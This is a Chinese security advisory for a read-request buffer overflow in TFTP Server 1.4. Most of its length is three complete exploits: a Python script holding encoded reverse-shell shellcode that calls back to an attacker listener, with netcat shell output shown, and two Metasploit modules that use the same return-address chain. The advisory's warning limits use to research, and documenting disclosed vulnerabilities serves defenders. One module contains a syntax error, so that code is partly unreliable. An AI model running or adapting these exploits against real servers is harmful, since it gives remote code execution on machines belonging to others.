TFTP Server读请求远程缓冲区溢出漏洞


发布日期:2012-01-11
更新日期:2012-05-16

受影响系统:
sourceforge tftp-server 1.4
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 51364

TFTP Server是用于PXEBOOT的免费多线程TFTP服务器。

TFTP Server 1.4在实现上存在缓冲区溢出漏洞,攻击者可利用此漏洞在受影响应用中执行任意代码。

<*来源:b33f
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

b33f ()提供了如下测试方法:
http://www.securityfocus.com/data/vulnerabilities/exploits/51364.py
http://www.securityfocus.com/data/vulnerabilities/exploits/51364.rb
http://www.securityfocus.com/data/vulnerabilities/exploits/51364-2.rb

#!/usr/bin/python

#---------------------------------------------------------------------------#
# Exploit: TFTP SERVER V1.4 ST (RRQ Overflow)                               #
# OS: Windows XP PRO SP3                                                    #
# Author: b33f                                                              #
#---------------------------------------------------------------------------#
# Smashing the stack for fun and practise...                                #
#                                                                           #
# This tftp service have been pwned extensively:                            #
# (1) Muts ==> WRQ Overflow                                                 #
#     http://www.exploit-db.com/exploits/5314/                              #
# (2) Molotov ==> WRQ Overflow                                              #
#     http://www.exploit-db.com/exploits/10542/                             #
# (3) tixxDZ ==> ERROR Overflow                                             #
#     http://www.exploit-db.com/exploits/5563/                              #
#                                                                           #
# Vulnerable software:                                                      #
# http://www.exploit-db.com/application/5314/                               #
#---------------------------------------------------------------------------#
# After some simple fuzzing with spike I discovered that sending a Read     #
# Request (RRQ) packet can also trigger a buffer overflow...                #
#---------------------------------------------------------------------------#
# It might take up to 30 seconds for some reason but the shell does appear  #
# as expected....                                                           #
#                                                                           #
# root@bt:~# nc -lvp 9988                                                   #
# listening on [any] 9988 ...                                               #
# 192.168.111.128: inverse host lookup failed: Unknown server error         #
# connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1072        #
# Microsoft Windows XP [Version 5.1.2600]                                   #
# (C) Copyright 1985-2001 Microsoft Corp.                                   #
#                                                                           #
# C:\Program Files\TFTPServer>                                              #
#---------------------------------------------------------------------------#

import socket
import sys

host = '192.168.111.128'
port = 69

try:
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      
except:
      print "socket() failed"
      sys.exit(1)

#msfpayload windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b '\x00'
#x86/shikata_ga_nai succeeded with size 341 (iteration=1)
shell = (
"\xbb\x3c\xef\xdb\xc5\xdb\xdd\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x4f\x31\x5a\x14\x83\xc2\x04\x03\x5a\x10\xde\x1a\x27\x2d\x97"
"\xe5\xd8\xae\xc7\x6c\x3d\x9f\xd5\x0b\x35\xb2\xe9\x58\x1b\x3f"
"\x82\x0d\x88\xb4\xe6\x99\xbf\x7d\x4c\xfc\x8e\x7e\x61\xc0\x5d"
"\xbc\xe0\xbc\x9f\x91\xc2\xfd\x6f\xe4\x03\x39\x8d\x07\x51\x92"
"\xd9\xba\x45\x97\x9c\x06\x64\x77\xab\x37\x1e\xf2\x6c\xc3\x94"
"\xfd\xbc\x7c\xa3\xb6\x24\xf6\xeb\x66\x54\xdb\xe8\x5b\x1f\x50"
"\xda\x28\x9e\xb0\x13\xd0\x90\xfc\xff\xef\x1c\xf1\xfe\x28\x9a"
"\xea\x75\x43\xd8\x97\x8d\x90\xa2\x43\x18\x05\x04\x07\xba\xed"
"\xb4\xc4\x5c\x65\xba\xa1\x2b\x21\xdf\x34\xf8\x59\xdb\xbd\xff"
"\x8d\x6d\x85\xdb\x09\x35\x5d\x42\x0b\x93\x30\x7b\x4b\x7b\xec"
"\xd9\x07\x6e\xf9\x5b\x4a\xe7\xce\x51\x75\xf7\x58\xe2\x06\xc5"
"\xc7\x58\x81\x65\x8f\x46\x56\x89\xba\x3e\xc8\x74\x45\x3e\xc0"
"\xb2\x11\x6e\x7a\x12\x1a\xe5\x7a\x9b\xcf\xa9\x2a\x33\xa0\x09"
"\x9b\xf3\x10\xe1\xf1\xfb\x4f\x11\xfa\xd1\xf9\x16\x6d\x1a\x51"
"\xf7\xea\xf2\xa0\x07\xd4\x06\x2c\xe1\x70\x17\x78\xba\xec\x8e"
"\x21\x30\x8c\x4f\xfc\xd0\x2d\xdd\x9b\x20\x3b\xfe\x33\x77\x6c"
"\x30\x4a\x1d\x80\x6b\xe4\x03\x59\xed\xcf\x87\x86\xce\xce\x06"
"\x4a\x6a\xf5\x18\x92\x73\xb1\x4c\x4a\x22\x6f\x3a\x2c\x9c\xc1"
"\x94\xe6\x73\x88\x70\x7e\xb8\x0b\x06\x7f\x95\xfd\xe6\xce\x40"
"\xb8\x19\xfe\x04\x4c\x62\xe2\xb4\xb3\xb9\xa6\xc5\xf9\xe3\x8f"
"\x4d\xa4\x76\x92\x13\x57\xad\xd1\x2d\xd4\x47\xaa\xc9\xc4\x22"
"\xaf\x96\x42\xdf\xdd\x87\x26\xdf\x72\xa7\x62")

#---------------------------------------------------------------------------#
# (1) Stage1: 0x00409605 TFTPServer.exe - PPR                               #
#             => 3-byte overwrite using the mandatory protocol null-byte.   #
# (2) Stage2: jump back 5-bytes "\xEB\xF9" so we have room for a far jump.  #
# (3) Stage3: jump back 1490-bytes to the beginning of our buffer.          #
# (4) Stage4: reverse shell port 9988 - size 341                            #
#---------------------------------------------------------------------------#

stage4 = "\x90"*50 + shell
stage3 = "\xE9\x2E\xFA\xFF\xFF"
stage2 = "\xEB\xF9\x90\x90"
stage1 = "\x05\x96\x40"

filename = stage4 + "A"*(1487-len(stage4)) + stage3 + stage2 + stage1


mode = "netascii"
youlose = "\x00\x01" + filename + "\x00" + mode + "\x00"
s.sendto(youlose, (host, port))

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : TFTP SERVER v1.4 (RRQ) Remote Root BOF Exploit (MSF)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com * sec4ever.com * r00tw0rm.com
# Facebook : http://facebook.com/KedAns
# platform : windows (Remote)
# Type : Remote r00t & Buffer Ov3rfl0w
# Tested on : winXP sp3 (en)
###

##
# I'm BaCk fr0m OURHOUD ^__^ .. I m!Ss tHe Explo!tInG <3 <3 ^_*
##

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE  .. |
# | ------------------------------------------------- < |
##

##
# $Id: tftp14rrq_bof.rb | 2012-01-15 | 00:01 | KedAns-Dz $
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
    'Name' => 'TFTP SERVER v1.4 (RRQ) Remote Root BOF Exploit',
    'Description' => %q{
    This module exploits a After some simple fuzzing with spike I discovered that sending a Read
  Request (RRQ) packet can also trigger a buffer overflow
    },
    'Author' => [
     'KedAns-Dz <ked-h[at]hotmail.com>', # t0 MSF
    ],
    'License' => MSF_LICENSE,
    'Version' => '$Revision: 0.1',
    'References' =>
      [
       [ 'URL', 'http://1337day.com/exploits/17361' ], # by b33f
       [ 'URL', 'http://www.exploit-db.com/exploits/10542' ], # by Molotov
      ],
    'DefaultOptions' =>
      {
       'EXITFUNC' => 'process',
      },
    'Payload' =>
      {
       'BadChars' => "\x00\x0d",
      },
    'Platform' => 'win',
    'Targets' =>
      [
       [ 'TFTP SERVER v1.4 (Windows XP-SP3 / netascii mod)',
        {
        'Ret' => 0x00409605, # ppr (from TFTPServer.exe)
        'Offset' => 93,
        'Mode' => 'netascii'
        }
       ],

       ],
    'DefaultTarget' => 0))
    end
 
  def check
       connect
       disconnect

        if (banner =~ /TFTP SERVER v1.4/)
        return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
  end

    def exploit
       connect_login

       print_status("Trying target #{target.name}...")

        buf = make_nops(target['Offset']) # Nop's
        buf << payload.encoded
    buf << "\x41" * 1487
    buf << "\xE9\x2E\xFA\xFF\xFF" # jump back
    buf << "\xEB\xF9\x90\x90" # jump back 5-bytes
    buf << [target.ret].pack('V')
    buf << make_nops(18) # Padding
       
    dz = "\x00\x01"
    dz << buf
    dz << "\x00"
    dz << [target['Mode']
    dz << "\x00"
   
        send_cmd(dz, false )

       handler
       disconnect
    end
 
end

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n *
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TFTP server 1.4 ST(RRQ) Buffer overflow',
      'Description'    => %q{
            This exploit creats buffer overflow by sending a Read Request (RRQ) packet can also trigger a buffer overflow... 
      },
      'Author'         => 'JK and b33f',
      'Version'        => '',
      'References'     =>
        [
          ['URL', 'http://securtyresearch.in/'],
          ['URL','']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'TFTP server v1.4 Windows XP SP3',      { 'Ret' => 0x00409605 } ],
          [ 'TFTP server v1.4 Windows XP SP0',      { 'Ret' => 0x00418000 } ]
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 12 2012'))

    register_options([Opt::RPORT(69)], self.class)
  end

  def exploit
    connect_udp
    stage ="\x00\x01"
    stage << make_nops(50) + payload.encoded
    stage << rand_text_alpha(1487 - (payload.encoded.length+50))
    stage << "\xE9\x2E\xFA\xFF\xFF"
    stage << "\xEB\xF9\x90\x90"
    stage << [target.ret].pack('V')
    stage <<"\x00"
    stage << "netascii"
    stage << "\x00"
   
    #youlose = "\x00\x01" + filename + "\x00"   
    udp_sock.put(stage)
    disconnect_udp
  end

end

建议:
--------------------------------------------------------------------------------
厂商补丁:

sourceforge
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://jocr.sourceforge.net/index.html

相关内容